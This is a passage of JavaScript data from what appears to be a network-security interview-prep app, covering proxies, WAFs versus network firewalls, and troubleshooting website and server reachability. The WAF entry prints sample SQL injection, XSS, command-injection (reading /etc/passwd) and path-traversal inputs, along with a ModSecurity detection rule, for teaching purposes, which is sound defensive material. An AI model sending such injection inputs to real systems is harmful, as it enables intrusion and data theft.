clients.`},{id:3,label:"Step 3: Public Internet Web Server Appears (`www.example.com`)",badge:`Internet Server`,activeNodes:[`server`],whatIsHappening:`Public Internet web server (93.184.216.34) appears.`,interviewTakeaway:`Public web servers serve external content.`},{id:4,label:`Step 4: Network Cabling Interconnects Forward Proxy Pipeline`,badge:`Forward Pipeline`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Network infrastructure links Client to Forward Proxy to Internet Web Server.`,interviewTakeaway:`Clients send requests directly to the forward proxy.`},{id:5,label:"Step 5: PART A: Client Sends Outbound HTTP Request: `GET /index.html`",badge:`Client Request`,activeNodes:[`client`,`firewall`],whatIsHappening:`Client configures proxy settings and transmits HTTP GET for example.com.`,interviewTakeaway:`Client requests are addressed to the proxy socket.`},{id:6,label:`Step 6: Forward Proxy Inspects URL Category & Security Policy`,badge:`URL Filtering`,activeNodes:[`firewall`],whatIsHappening:`Proxy checks corporate URL policy: example.com is CATEGORY: Business (ALLOW).`,interviewTakeaway:`Forward proxies enforce corporate acceptable use policies.`},{id:7,label:`Step 7: Forward Proxy Masks Client IP & Initiates Outbound Request`,badge:`IP Masking`,activeNodes:[`firewall`],whatIsHappening:`Proxy initiates new connection: Src IP rewritten to Proxy Public IP (203.0.113.1).`,interviewTakeaway:`Client internal IP address is completely concealed from internet.`},{id:8,label:`Step 8: Forward Proxy Transmits Request to Public Web Server`,badge:`Masked Transit`,activeNodes:[`firewall`,`server`],whatIsHappening:`Public Web Server sees incoming request from 203.0.113.1 (Proxy IP).`,interviewTakeaway:`Destination server has zero visibility into internal client IP.`},{id:9,label:`Step 9: Public Web Server Responds with HTTP 200 OK to Proxy`,badge:`Server Responds`,activeNodes:[`server`,`firewall`],whatIsHappening:`Web server returns response payload back to Forward Proxy.`,interviewTakeaway:`Responses terminate at the forward proxy first.`},{id:10,label:`Step 10: Forward Proxy Scans Payload for Malware & Delivers to Client`,badge:`Malware Scanned ✓`,activeNodes:[`firewall`,`client`],whatIsHappening:`Proxy inspects response for malicious code, caches content, and delivers to client.`,interviewTakeaway:`Forward proxies protect clients from malicious web downloads.`},{id:11,label:`Step 11: Part A Complete: Forward Proxy Protects & Conceals Clients ✓`,badge:`Part A Done ✓`,activeNodes:[`client`,`firewall`],whatIsHappening:`Forward proxy workflow verified: Client anonymity and content filtering active.`,interviewTakeaway:`Forward proxy = client protection and policy enforcement.`},{id:12,label:`Step 12: PART B: Public Internet Clients Appear`,badge:`Public Clients`,activeNodes:[`client`],whatIsHappening:`External Internet visitors appear wanting to access corporate web application.`,interviewTakeaway:`Reverse proxies manage incoming public traffic.`},{id:13,label:"Step 13: Reverse Proxy & Load Balancer Appears (`app.company.com`)",badge:`Reverse Proxy`,activeNodes:[`firewall`],whatIsHappening:`Reverse Proxy / Load Balancer (NGINX / HAProxy 198.51.100.20) appears.`,interviewTakeaway:`Reverse proxies sit in front of server clusters.`},{id:14,label:`Step 14: Backend App Server Farm Appears (Server 1 & Server 2)`,badge:`Backend Cluster`,activeNodes:[`server`],whatIsHappening:`Private backend application servers (10.1.0.11 & 10.1.0.12) appear.`,interviewTakeaway:`Backend server IPs are never exposed to public internet.`},{id:15,label:"Step 15: Public Client Sends HTTPS Request to `https://app.company.com`",badge:`Public Request`,activeNodes:[`client`,`firewall`],whatIsHappening:`External user initiates HTTPS connection to public VIP: 198.51.100.20.`,interviewTakeaway:`Public DNS resolves domain name to reverse proxy VIP.`},{id:16,label:`Step 16: Request Arrives at Reverse Proxy: SSL Certificate Terminated`,badge:`SSL Offloading`,activeNodes:[`firewall`],whatIsHappening:`Reverse proxy terminates TLS 1.3 handshake, decrypting payload off backend nodes.`,interviewTakeaway:`SSL offloading frees backend server CPU resources.`},{id:17,label:`Step 17: Reverse Proxy Inspects HTTP Request & Performs Rate Limiting`,badge:`WAF & Rate Limit`,activeNodes:[`firewall`],whatIsHappening:`Proxy checks request for DDoS flooding and application-layer attacks.`,interviewTakeaway:`Reverse proxies act as application security shields.`},{id:18,label:`Step 18: Load Balancer Algorithm Selects Backend Server 2 (Round Robin)`,badge:`Load Balancing`,activeNodes:[`firewall`],whatIsHappening:`Load balancing engine picks Server 2 (10.1.0.12) based on current load.`,interviewTakeaway:`Load balancing optimizes backend resource utilization.`},{id:19,label:`Step 19: Reverse Proxy Forwards Internal Request to App Server 2`,badge:`Internal Forward`,activeNodes:[`firewall`,`server`],whatIsHappening:`Proxy forwards HTTP request across private LAN to Server 2.`,interviewTakeaway:`Backend communication occurs across private, isolated network.`},{id:20,label:`Step 20: Backend Server 2 Processes Query & Returns Response`,badge:`Backend Serving`,activeNodes:[`server`,`firewall`],whatIsHappening:`Server 2 generates dynamic web content and returns to Reverse Proxy.`,interviewTakeaway:`Backend servers process application business logic.`},{id:21,label:`Step 21: Reverse Proxy Encrypts & Returns Response to Public Client ✓`,badge:`Response Delivered ✓`,activeNodes:[`firewall`,`client`],whatIsHappening:`Reverse proxy re-encrypts content and serves HTTPS response to external user.`,interviewTakeaway:`User receives web page without knowing backend architecture.`},{id:22,label:`Step 22: Summary: Forward Proxy (Protects Clients) vs Reverse Proxy (Protects Servers) ✓`,badge:`COMPARISON VERIFIED ✓`,activeNodes:[`firewall`,`server`],whatIsHappening:`Complete comparison verified: Forward proxies shield clients; Reverse proxies shield servers.`,interviewTakeaway:`Mnemonic: Forward protects the browser; Reverse protects the server.`}]},{id:48,categoryId:`zero-trust-access`,category:`Zero Trust & WAF`,title:`What is the difference between a WAF and a network firewall?`,difficulty:`Intermediate`,visualType:`q48-waf-vs-network-fw`,elevatorPitch:`A Network Firewall operates at Layers 3 and 4 (IP addresses, TCP/UDP ports, protocol flags), making allow/block decisions based on packet headers but remaining blind to application payloads inside permitted ports. A Web Application Firewall (WAF) operates at Layer 7 (Application Layer), terminating TLS and deeply parsing HTTP/HTTPS requests to inspect URLs, headers, cookies, and parameters for web application attacks like SQL Injection, Cross-Site Scripting (XSS), and OWASP Top 10 vulnerabilities.`,deepDive:"### Network Firewall (L3/L4 Packet Filter & Stateful Gateway)\n* **Inspection Scope:** Layer 3 (Source/Destination IP) and Layer 4 (Source/Destination TCP/UDP Port, TCP Flags).\n* **Blind Spot:** If Port 443 (HTTPS) is permitted, a network firewall allows **all traffic** on Port 443 to pass straight through, including malicious SQL injection and XSS payloads.\n* **Primary Role:** Establishes broad network security zones (LAN, DMZ, WAN) and prevents unauthorized port access (e.g. blocking external access to SSH port 22 or SMB port 445).\n\n### Web Application Firewall (WAF - L7 Deep Application Inspector)\n* **Inspection Scope:** Layer 7 (HTTP Methods `GET`/`POST`, URIs, Request Headers, Cookies, Query Parameters, JSON/XML bodies).\n* **Detection Engine:** Evaluates traffic against the **OWASP ModSecurity Core Rule Set (CRS)** to detect:\n  * **SQL Injection (SQLi):** e.g. `' OR '1'='1` or `UNION SELECT`.\n  * **Cross-Site Scripting (XSS):** e.g. `<script>alert(1)<\/script>`.\n  * **Command Injection / Path Traversal:** e.g. `; cat /etc/passwd` or `../../`.\n* **Action:** Drops malicious requests immediately and returns an `HTTP 403 Forbidden` error page without letting the payload reach the backend web server or database.",realWorldScenario:"An attacker launched an automated SQL Injection attack against a banking login page (`POST /api/login` with parameter `username=' OR 1=1--`). The enterprise Next-Gen Network Firewall inspected the packet, saw destination port 443 (which had an `ALLOW` rule), and passed the packet blindly. However, the Layer 7 WAF (AWS WAF / Cloudflare) decoded the HTTPS request, triggered Rule 942100 (SQLi Pattern Detected), terminated the session, and returned `HTTP 403 Forbidden`, protecting the SQL database from being dumped.",commonTraps:[`Assuming an open Port 443 firewall rule protects web applications (Opening port 443 allows all HTTP traffic through; you need a WAF to inspect what is inside that traffic).`,`Thinking a WAF can replace a network firewall (A WAF only understands HTTP/HTTPS/WebSocket web traffic; you still need a network firewall to block non-web network attacks, port scans, and routing floods).`],cliSnippet:`# ModSecurity WAF Rule to Detect SQL Injection
SecRule ARGS "@rx (?i:(?:unions+select|'s*ors*'1'='1|--))"     "id:942100,phase:2,deny,status:403,msg:'SQL Injection Attack Detected'"`,quiz:{question:`Why does a standard Layer 3/4 network firewall fail to stop a SQL Injection attack on port 443?`,options:[`Network firewalls cannot process encrypted VPN tunnels`,`Network firewalls only inspect IP addresses and port numbers; because Port 443 is permitted, they cannot inspect the Layer 7 SQL payload inside the HTTP request`,`SQL queries only travel over UDP`,`Web servers do not support firewalls`],correctAnswer:1,explanation:`Network firewalls inspect L3/L4 headers only; if port 443 is allowed, they pass the packet without inspecting the L7 HTTP SQLi payload.`},steps:[{id:1,label:`Step 1: Attacker Client Appears (198.51.100.50)`,badge:`Attacker Host`,activeNodes:[`client`],whatIsHappening:`Attacker workstation appears armed with web application exploit tools.`,interviewTakeaway:`Web application attacks originate from public clients.`},{id:2,label:`Step 2: Layer 3/4 Network Firewall Appears`,badge:`L3/L4 Firewall`,activeNodes:[`firewall`],whatIsHappening:`Standard stateful Layer 3/4 Network Firewall appears at perimeter.`,interviewTakeaway:`Network firewalls evaluate L3/L4 5-tuples.`},{id:3,label:`Step 3: Web Server & SQL Database Appear Behind Perimeter`,badge:`Web & DB Server`,activeNodes:[`server`],whatIsHappening:`Corporate web application server hosting sensitive SQL database appears.`,interviewTakeaway:`Web applications process dynamic database queries.`},{id:4,label:`Step 4: Network Cabling Connects Infrastructure`,badge:`Cabling Active`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Network links connect Client to Firewall to Web Server.`,interviewTakeaway:`Traffic routes through firewall inspection interfaces.`},{id:5,label:"Step 5: PART A: Attacker Sends SQL Injection Payload: `GET /login?u=' OR '1'='1`",badge:`SQLi Attack`,activeNodes:[`client`,`firewall`],whatIsHappening:`Attacker embeds SQL injection exploit inside HTTPS traffic on Port 443.`,interviewTakeaway:`Attackers disguise exploits inside legitimate web protocols.`},{id:6,label:`Step 6: Packet Arrives at Layer 3/4 Network Firewall`,badge:`L3/L4 Inspection`,activeNodes:[`firewall`],whatIsHappening:`Network firewall extracts IP header and TCP header (Dst Port: 443).`,interviewTakeaway:`Network firewalls check Source/Dest IP and Port.`},{id:7,label:"Step 7: Network Firewall Rule Matches: `ALLOW ANY ➔ WebServer :443` ✓",badge:`L4 RULE ALLOW ✓`,decision:`ALLOW`,activeNodes:[`firewall`],whatIsHappening:`Firewall sees Port 443 is permitted. Because it cannot inspect L7, it ALLOWS packet.`,interviewTakeaway:`Network firewalls are completely blind to Layer 7 HTTP payloads.`},{id:8,label:`Step 8: Uninspected Malicious Packet Forwarded to Web Server ✕`,badge:`Forwarded Blindly`,activeNodes:[`firewall`,`server`],whatIsHappening:`Network firewall forwards malicious SQLi packet directly to internal server.`,interviewTakeaway:`Permitted ports create open conduits for application exploits.`},{id:9,label:`Step 9: SQL Injection Hits Web Server: Database Vulnerability Exposed ✕`,badge:`DATABASE COMPROMISED ✕`,activeNodes:[`server`],whatIsHappening:`Web server executes SQLi query; unauthorized data dumped to attacker.`,interviewTakeaway:`Network firewalls cannot prevent Layer 7 web attacks.`},{id:10,label:`Step 10: Part A Complete: Network Firewall Limitation Demonstrated`,badge:`Part A Done`,activeNodes:[`firewall`,`server`],whatIsHappening:`Network firewalls provide zero defense against application-layer logic flaws.`,interviewTakeaway:`L3/L4 firewalls must be paired with Layer 7 protection.`},{id:11,label:`Step 11: PART B: Layer 7 Web Application Firewall (WAF) Appears`,badge:`L7 WAF Active`,activeNodes:[`firewall`],whatIsHappening:`Layer 7 WAF (ModSecurity / AWS WAF / Cloudflare) deployed in front of server.`,interviewTakeaway:`WAFs specialize in HTTP/HTTPS application inspection.`},{id:12,label:`Step 12: WAF Loads OWASP Core Rule Set (CRS)`,badge:`OWASP CRS Rules`,activeNodes:[`firewall`],whatIsHappening:`WAF loads deep inspection signatures for SQLi, XSS, and command injection.`,interviewTakeaway:`WAF rules inspect HTTP methods, headers, parameters, and cookies.`},{id:13,label:"Step 13: Attacker Sends Same SQLi Payload: `GET /login?u=' OR '1'='1`",badge:`SQLi Retest`,activeNodes:[`client`,`firewall`],whatIsHappening:`Attacker launches identical SQL injection exploit targeting web application.`,interviewTakeaway:`Attacks arrive over standard HTTPS port 443.`},{id:14,label:`Step 14: Packet Arrives at Layer 7 WAF: TLS Decrypted & HTTP Parsed`,badge:`TLS Termination & Parse`,activeNodes:[`firewall`],whatIsHappening:`WAF terminates TLS certificate and parses full HTTP URI, parameters, and body.`,interviewTakeaway:`WAFs must decode TLS to inspect application parameters.`},{id:15,label:"Step 15: WAF Deep Inspection Engine Evaluates Parameter `u`",badge:`Deep Parameter Check`,activeNodes:[`firewall`],whatIsHappening:`WAF inspects query string parameter value: ' OR '1'='1.`,interviewTakeaway:`WAFs analyze input strings against SQL syntax grammars.`},{id:16,label:`Step 16: OWASP CRS Rule 942100 Triggers: SQL Injection Pattern Match ⚠`,badge:`SQLi DETECTED ⚠`,activeNodes:[`firewall`],whatIsHappening:`Rule 942100 matches SQL syntax anomaly (' OR '1'='1 boolean condition).`,interviewTakeaway:`WAF signatures detect malicious injection patterns deterministically.`},{id:17,label:`Step 17: WAF Makes Immediate BLOCK Decision ➔ Packet Dropped ✕`,badge:`BLOCK DECISION ✕`,decision:`DENY`,activeNodes:[`firewall`],whatIsHappening:`WAF terminates connection immediately. Exploit payload is discarded.`,interviewTakeaway:`WAFs drop malicious requests before they reach the web server.`},{id:18,label:"Step 18: WAF Returns `HTTP 403 Forbidden` Error Page to Attacker",badge:`HTTP 403 FORBIDDEN`,activeNodes:[`firewall`,`client`],whatIsHappening:`WAF responds to attacker with HTTP 403 Forbidden error page.`,interviewTakeaway:`Attackers receive error responses without touching backend.`},{id:19,label:`Step 19: Web Server & SQL Database NEVER Receive Malicious Payload ✓`,badge:`DATABASE PROTECTED ✓`,activeNodes:[`server`],whatIsHappening:`Web server and backend SQL database remain completely untouched.`,interviewTakeaway:`WAF eliminates application risk without touching source code.`},{id:20,label:`Step 20: Summary: Network FW (L3/L4 Port Control) + WAF (L7 App Shield) ✓`,badge:`DEFENSE IN DEPTH ✓`,activeNodes:[`firewall`,`server`],whatIsHappening:`Complete comparison verified: Deploy Network FW for ports, WAF for web apps.`,interviewTakeaway:`Enterprise defense requires both Network Firewall and WAF.`}]},{id:49,categoryId:`troubleshooting`,category:`Triage & Diagnostics`,title:`How do you troubleshoot a user who cannot access a specific website?`,difficulty:`Intermediate`,visualType:`q49-troubleshoot-website`,elevatorPitch:"Troubleshooting website access follows a structured bottom-up OSI methodology across 5 phases: 1) Physical/IP Layer (IP config & default gateway reachability), 2) DNS Resolution (verifying `nslookup` resolves the FQDN to an IP), 3) Transport & Firewall Inspection (checking TCP SYN reachability and reviewing firewall live drop logs), 4) Policy Remediation (adding missing outbound permit rules), and 5) End-to-End Verification (confirming HTTP/HTTPS handshake and HTTP 200 OK response).",deepDive:"### Systematic 5-Phase Troubleshooting Methodology\n\n#### Phase 1: Local Network & DNS Resolution\n* **Check Local IP & Gateway:** Verify client has valid IP (`ipconfig` / `ip link`) and can ping the default gateway (`10.0.0.1`).\n* **Test DNS Resolution:** Run `nslookup www.partner-portal.com` or `dig`. If DNS returns `NXDOMAIN` or times out, the issue is DNS server configuration or root forwarders. If it returns an IP (`203.0.113.80`), DNS is healthy.\n\n#### Phase 2: TCP Connection & Port Reachability\n* **Test Layer 4 Socket:** Run `Test-NetConnection -ComputerName 203.0.113.80 -Port 443` or `nc -zv 203.0.113.80 443`.\n* **Symptom Analysis:** If client hangs on `SYN_SENT`, packets are being silently dropped by an intermediate firewall or route blackhole.\n\n#### Phase 3: Firewall Live Log Analysis & Triage\n* **Inspect Firewall Syslog / Traffic Logs:** Query firewall live logs filtered by client source IP:\n  ```\n  %FW-3-106015: Deny TCP (no-match) from 10.0.0.25/51200 to 203.0.113.80/443 on interface inside\n  ```\n* **Root Cause Identification:** The firewall’s implicit deny rule is dropping the outbound HTTPS packet because no outbound security policy permit exists for this partner destination.\n\n#### Phase 4: Policy Remediation\n* **Add Firewall Rule:** Commit rule: `access-list OUTBOUND permit tcp any host 203.0.113.80 eq 443`.\n\n#### Phase 5: Verification & HTTP Confirmation\n* **Retest Session:** Client resends TCP SYN; firewall permits packet; external web server completes 3-way handshake and returns `HTTP/1.1 200 OK`. Website loads successfully!",realWorldScenario:"An executive reported they could not access a new partner procurement portal (`https://www.partner-portal.com`). The network engineer first verified DNS resolved to `203.0.113.80`. Next, a port test to 443 timed out. The engineer checked the perimeter firewall logs and found `DROP: Rule=Implicit_Deny`. The engineer updated the outbound policy with a new rule allowing HTTPS to the partner subnet, retested with `curl -I https://www.partner-portal.com`, and verified an immediate `HTTP/1.1 200 OK` response.",commonTraps:["Assuming `ping` failure means the website is down (Many enterprise websites block ICMP ping by policy while keeping TCP port 443 open; always test with a TCP port tool like `curl` or `nc`).","Flushing DNS before testing if DNS is even the problem (Always test DNS with `nslookup` first to identify the exact failure point)."],cliSnippet:`# 5-Step CLI Diagnostic Toolkit
# 1. DNS Check
nslookup www.partner-portal.com
# 2. TCP Port Reachability Check
Test-NetConnection -ComputerName 203.0.113.80 -Port 443
# 3. HTTP Response Code Check
curl -Iv https://www.partner-portal.com`,quiz:{question:`When troubleshooting website access, why is testing TCP port 443 with curl/nc more reliable than using ping?`,options:[`Ping only works on IPv6`,`Many firewalls and web servers intentionally block ICMP ping requests for security while actively accepting TCP port 443 HTTPS traffic`,`Ping encrypts packet headers`,`TCP does not use IP addresses`],correctAnswer:1,explanation:`ICMP ping is frequently blocked by edge firewalls, so a failed ping does not indicate web service downtime; testing TCP port 443 tests actual application reachability.`},steps:[{id:1,label:`Step 1: User Laptop Appears (10.0.0.25)`,badge:`Troubleshooting Client`,activeNodes:[`client`],whatIsHappening:`User reports: "Cannot access partner portal website — browser times out."`,interviewTakeaway:`Begin troubleshooting with clear symptom identification.`},{id:2,label:`Step 2: Internal DNS Server Appears (10.0.0.2)`,badge:`DNS Resolver`,activeNodes:[`switch`],whatIsHappening:`Internal corporate DNS resolver appears.`,interviewTakeaway:`DNS resolution is Phase 1 of troubleshooting.`},{id:3,label:`Step 3: Perimeter Edge Firewall Appears (10.0.0.1)`,badge:`Edge Firewall`,activeNodes:[`firewall`],whatIsHappening:`Corporate edge firewall and default gateway appear.`,interviewTakeaway:`Edge firewalls enforce outbound access policies.`},{id:4,label:`Step 4: External Partner Web Server Appears (203.0.113.80:443)`,badge:`Target Portal`,activeNodes:[`server`],whatIsHappening:`External partner portal web server appears on public internet.`,interviewTakeaway:`External services must be reachable over target TCP ports.`},{id:5,label:`Step 5: Network Interconnects Troubleshooting Topology`,badge:`Topology Active`,activeNodes:[`client`,`switch`,`firewall`,`server`],whatIsHappening:`Network infrastructure links Client to DNS to Firewall to External Server.`,interviewTakeaway:`Follow systematic OSI model from Layer 1 to Layer 7.`},{id:6,label:"Step 6: PHASE 1: User Sends DNS Query for `www.partner-portal.com`",badge:`DNS Query :53`,activeNodes:[`client`,`switch`],whatIsHappening:`Client executes DNS query to 10.0.0.2 to resolve partner-portal.com.`,interviewTakeaway:`Verify FQDN resolves before attempting IP connections.`},{id:7,label:`Step 7: DNS Query Arrives at Internal DNS Server`,badge:`DNS Lookup`,activeNodes:[`switch`],whatIsHappening:`DNS server checks root forwarders and cache for partner-portal.com.`,interviewTakeaway:`DNS servers query authoritative nameservers.`},{id:8,label:"Step 8: DNS Returns A-Record: `203.0.113.80` (DNS RESOLVED ✓)",badge:`DNS RESOLVED ✓`,activeNodes:[`switch`,`client`],whatIsHappening:`DNS returns valid A record: 203.0.113.80. Phase 1 PASSED.`,interviewTakeaway:`Successful DNS resolution eliminates DNS as the root cause.`},{id:9,label:"Step 9: Client Extracts IP Address `203.0.113.80`",badge:`IP Extracted`,activeNodes:[`client`],whatIsHappening:`Client prepares TCP socket connection to 203.0.113.80:443.`,interviewTakeaway:`The OS network stack initiates TCP 3-way handshake.`},{id:10,label:`Step 10: PHASE 2: Client Sends TCP SYN (10.0.0.25:51200 ➔ 203.0.113.80:443)`,badge:`TCP SYN In-Transit`,activeNodes:[`client`,`firewall`],whatIsHappening:`Client transmits TCP SYN packet toward destination.`,interviewTakeaway:`TCP SYN packet tests Layer 4 reachability.`},{id:11,label:`Step 11: TCP SYN Packet Arrives at Edge Firewall Ingress`,badge:`Firewall Ingress`,activeNodes:[`firewall`],whatIsHappening:`Firewall receives packet and queries active security policy rule table.`,interviewTakeaway:`Firewalls inspect packet 5-tuples against policy lists.`},{id:12,label:`Step 12: Firewall Evaluates Rule Table: No Matching Allow Rule Found`,badge:`Rule Table Lookup`,activeNodes:[`firewall`],whatIsHappening:`Firewall traverses rule list; partner subnet 203.0.113.80 is unlisted.`,interviewTakeaway:`Stateful firewalls require explicit permit rules.`},{id:13,label:`Step 13: Firewall Implicit Deny Policy Triggers: Packet DROPPED ✕`,badge:`IMPLICIT DENY DROP ✕`,decision:`DENY`,activeNodes:[`firewall`],whatIsHappening:`Firewall default deny rule drops packet. No SYN-ACK returned.`,interviewTakeaway:`Default deny drops unclassified outbound traffic.`},{id:14,label:`Step 14: Client Browser Hangs on SYN_SENT State (Connection Timeout)`,badge:`TIMEOUT ✕`,activeNodes:[`client`],whatIsHappening:`Client waits for SYN-ACK; socket times out with ERR_CONNECTION_TIMED_OUT.`,interviewTakeaway:`SYN_SENT timeouts indicate silent packet drops along path.`},{id:15,label:`Step 15: PHASE 3: Engineer Checks Firewall Live Syslog Logs`,badge:`Syslog Inspection`,activeNodes:[`firewall`],whatIsHappening:`Engineer reviews live firewall log: %FW-3-106015: Deny TCP from 10.0.0.25:51200.`,interviewTakeaway:`Firewall logs provide definitive proof of blocked traffic.`},{id:16,label:`Step 16: Root Cause Identified: Missing Outbound Firewall Policy Rule`,badge:`Root Cause Found`,activeNodes:[`firewall`],whatIsHappening:`Engineer identifies root cause: Missing outbound permit rule for partner portal.`,interviewTakeaway:`Pinpointing root cause enables precise remediation.`},{id:17,label:"Step 17: PHASE 4: Engineer Configures Policy Rule: `ALLOW LAN ➔ 203.0.113.80:443`",badge:`Rule Configured`,activeNodes:[`firewall`],whatIsHappening:`Engineer creates rule: access-list OUTBOUND permit tcp any host 203.0.113.80 eq 443.`,interviewTakeaway:`Apply least-privilege rules for specific destination IPs.`},{id:18,label:`Step 18: Firewall Commits New Security Policy to Active Rule Engine`,badge:`Policy Committed`,activeNodes:[`firewall`],whatIsHappening:`Firewall updates running configuration and active rule table.`,interviewTakeaway:`Rule commits take effect immediately.`},{id:19,label:`Step 19: PHASE 5: User Retries Connection: Sends TCP SYN to 203.0.113.80:443`,badge:`Verification Retest`,activeNodes:[`client`,`firewall`],whatIsHappening:`User refreshes browser; client retransmits TCP SYN.`,interviewTakeaway:`Always retest connection to verify fix efficacy.`},{id:20,label:`Step 20: Packet Arrives at Firewall: Matches New Allow Rule (ALLOW ✓)`,badge:`RULE MATCHED: ALLOW ✓`,decision:`ALLOW`,activeNodes:[`firewall`],whatIsHappening:`Firewall matches new allow rule; creates state table entry and permits packet.`,interviewTakeaway:`Stateful firewall builds translation table entry.`},{id:21,label:`Step 21: Packet Transits Public Internet to Partner Web Server`,badge:`WAN Transit`,activeNodes:[`firewall`,`server`],whatIsHappening:`Packet successfully exits firewall and reaches partner web server.`,interviewTakeaway:`Allowed traffic reaches external destination.`},{id:22,label:`Step 22: Partner Web Server Receives SYN & Returns SYN-ACK Response`,badge:`SYN-ACK Return`,activeNodes:[`server`,`firewall`],whatIsHappening:`External server accepts handshake and returns SYN-ACK.`,interviewTakeaway:`Server confirms application listening on Port 443.`},{id:23,label:`Step 23: Firewall State Table Matches Return Packet ➔ Delivered to Client`,badge:`Handshake Complete`,activeNodes:[`firewall`,`client`],whatIsHappening:`Stateful firewall permits return traffic; 3-way handshake established.`,interviewTakeaway:`Stateful inspection automatically permits return traffic.`},{id:24,label:"Step 24: Client Sends `GET /index.html` ➔ Server Returns `HTTP 200 OK`",badge:`HTTP 200 OK ✓`,activeNodes:[`client`,`server`],whatIsHappening:`Client sends HTTP request; server responds with HTTP/1.1 200 OK webpage payload.`,interviewTakeaway:`Application layer communication confirmed operational.`},{id:25,label:`Step 25: User Browser Renders Partner Portal Successfully ✓`,badge:`WEBSITE LOADED ✓`,activeNodes:[`client`],whatIsHappening:`Web browser renders partner portal with zero errors.`,interviewTakeaway:`Issue resolved completely.`},{id:26,label:`Step 26: Summary: 5-Phase Diagnostic Process Verified End-to-End ✓`,badge:`TROUBLESHOOTING COMPLETE ✓`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Methodology: DNS ✓ ➔ TCP ✓ ➔ Firewall Drop Identified ✓ ➔ Rule Fixed ✓ ➔ HTTP 200 OK ✓.`,interviewTakeaway:`Structured OSI troubleshooting resolves network outages quickly and accurately.`}]},{id:50,categoryId:`troubleshooting`,category:`Triage & Diagnostics`,title:`How do you troubleshoot a server accessible internally but not from the internet?`,difficulty:`Advanced`,visualType:`q50-troubleshoot-server`,elevatorPitch:`When a server is accessible on the local internal network (LAN) but unreachable from the public internet (WAN), the problem is isolated to the perimeter boundary. Troubleshooting involves a 4-point diagnostic triage: 1) Verifying internal baseline (confirming server is listening on port 443 and answering LAN requests), 2) Checking Inbound Firewall ACLs (ensuring external traffic to public VIP is permitted), 3) Validating Destination NAT / Port Forwarding (confirming public IP:port translates to private IP:port), and 4) Checking Server Default Gateway (ensuring server routes return traffic back to firewall rather than an alternate gateway).`,deepDive:`### The 4-Point Perimeter Diagnostic Triage

#### Checkpoint 1: Internal LAN Baseline Verification
* **Test:** An internal client curls \`https://192.168.1.10:443\`.
* **Result:** If internal access works, the server application, OS firewall, and web daemon (Nginx/Apache/IIS) are 100% healthy and operational. **The problem is purely in the perimeter edge network.**

#### Checkpoint 2: Inbound Perimeter Firewall Access Policy (ACL)
* **Test:** Check firewall logs for dropped traffic to public VIP \`203.0.113.10:443\`.
* **Requirement:** Security policy must explicitly permit inbound traffic:
  \`\`\`
  access-list OUTSIDE_IN permit tcp any host 203.0.113.10 eq 443
  \`\`\`

#### Checkpoint 3: Destination NAT (DNAT / Port Forwarding) Mapping
* **The #1 Most Common Root Cause:** Missing or misconfigured Destination NAT rule.
* **Mechanism:** Public clients send packets to Public IP \`203.0.113.10\`. The firewall must rewrite the destination IP header to Internal IP \`192.168.1.10\`.
* **If DNAT is Missing:** The firewall tries to terminate the packet on its own WAN interface, finds no local listening service, and drops the connection!

#### Checkpoint 4: Server Return Path / Default Gateway Routing
* **Asymmetric Routing Trap:** The server must have its default gateway pointed to the internal interface of the firewall (\`192.168.1.1\`).
* **If Misconfigured:** If the server routes return traffic out an alternate local ISP router, the return SYN-ACK bypasses the firewall state table, causing connection failure.`,realWorldScenario:"A newly deployed internal web server (`192.168.1.10`) worked perfectly for internal office employees, but external customers could not reach it at `https://203.0.113.10`. The engineer verified internal reachability, checked the firewall ACL (which was configured correctly to permit port 443), and then inspected the NAT table. The engineer discovered the Destination NAT (DNAT) port forwarding rule was missing. Once the DNAT rule `203.0.113.10:443 -> 192.168.1.10:443` was added, the firewall began rewriting packet headers and external users loaded the website immediately.",commonTraps:[`Assuming that adding an inbound firewall ACL rule automatically creates the NAT port forwarding rule (On enterprise firewalls like Cisco ASA and Palo Alto, Security Policy and NAT Policy are two completely separate configurations; both are required).`,`Overlooking the server default gateway (If the server does not send reply packets back through the firewall that performed DNAT, the NAT translation cannot be reversed and external connections fail).`],cliSnippet:`# Cisco ASA Inbound ACL + DNAT (Port Forwarding) Configuration
# 1. Destination NAT (DNAT) Rule
object network WEB_SERVER_INTERNAL
 host 192.168.1.10
 nat (inside,outside) static 203.0.113.10 service tcp 443 443

# 2. Inbound Security Policy (ACL)
access-list OUTSIDE_IN permit tcp any host 192.168.1.10 eq 443
access-group OUTSIDE_IN in interface outside`,quiz:{question:`A web server is accessible from the internal LAN but external internet users experience connection timeouts. The firewall ACL allows port 443. What is the most likely root cause?`,options:[`The server hard drive is corrupted`,`Destination NAT (DNAT / Port Forwarding) is missing, so the firewall cannot translate the public destination IP to the internal private IP`,`The DNS server is offline`,`Ethernet cables only support internal IP addresses`],correctAnswer:1,explanation:`Without Destination NAT (DNAT), the firewall receives packets addressed to its public IP but cannot translate and forward them to the internal private server IP.`},steps:[{id:1,label:`Step 1: Internal LAN Client Appears (192.168.1.50)`,badge:`Internal Client`,activeNodes:[`client`],whatIsHappening:`Internal LAN employee workstation appears on local subnet.`,interviewTakeaway:`Troubleshooting starts with validating baseline internal connectivity.`},{id:2,label:`Step 2: Internal Web Server Appears (192.168.1.10:443)`,badge:`Target Server`,activeNodes:[`server`],whatIsHappening:`Internal production web server appears hosting HTTPS service on Port 443.`,interviewTakeaway:`The web server listens on internal private IP 192.168.1.10.`},{id:3,label:`Step 3: Internal LAN Switch Interconnects Local Subnet`,badge:`LAN Link`,activeNodes:[`client`,`server`],whatIsHappening:`Local Ethernet switch connects Internal Client to Internal Server.`,interviewTakeaway:`LAN traffic routes directly across Layer 2 switch.`},{id:4,label:"Step 4: PART A: Internal Client Sends HTTPS Request to `192.168.1.10:443`",badge:`LAN HTTP GET`,activeNodes:[`client`,`server`],whatIsHappening:`Internal client initiates connection: 192.168.1.50 ➔ 192.168.1.10:443.`,interviewTakeaway:`Tests whether web daemon and local OS firewall are functional.`},{id:5,label:`Step 5: Request Traverses LAN Switch Directly to Web Server`,badge:`Switch Transit`,activeNodes:[`client`,`server`],whatIsHappening:`Packet switches across local VLAN with zero firewall intervention.`,interviewTakeaway:`Local traffic does not touch perimeter edge gateway.`},{id:6,label:"Step 6: Server Receives Request & Returns `HTTP/1.1 200 OK`",badge:`Server Responds ✓`,activeNodes:[`server`,`client`],whatIsHappening:`Web server daemon processes request and responds with HTTP 200 OK.`,interviewTakeaway:`Server software stack is confirmed 100% operational.`},{id:7,label:`Step 7: Internal Client Receives Response: INTERNAL LAN 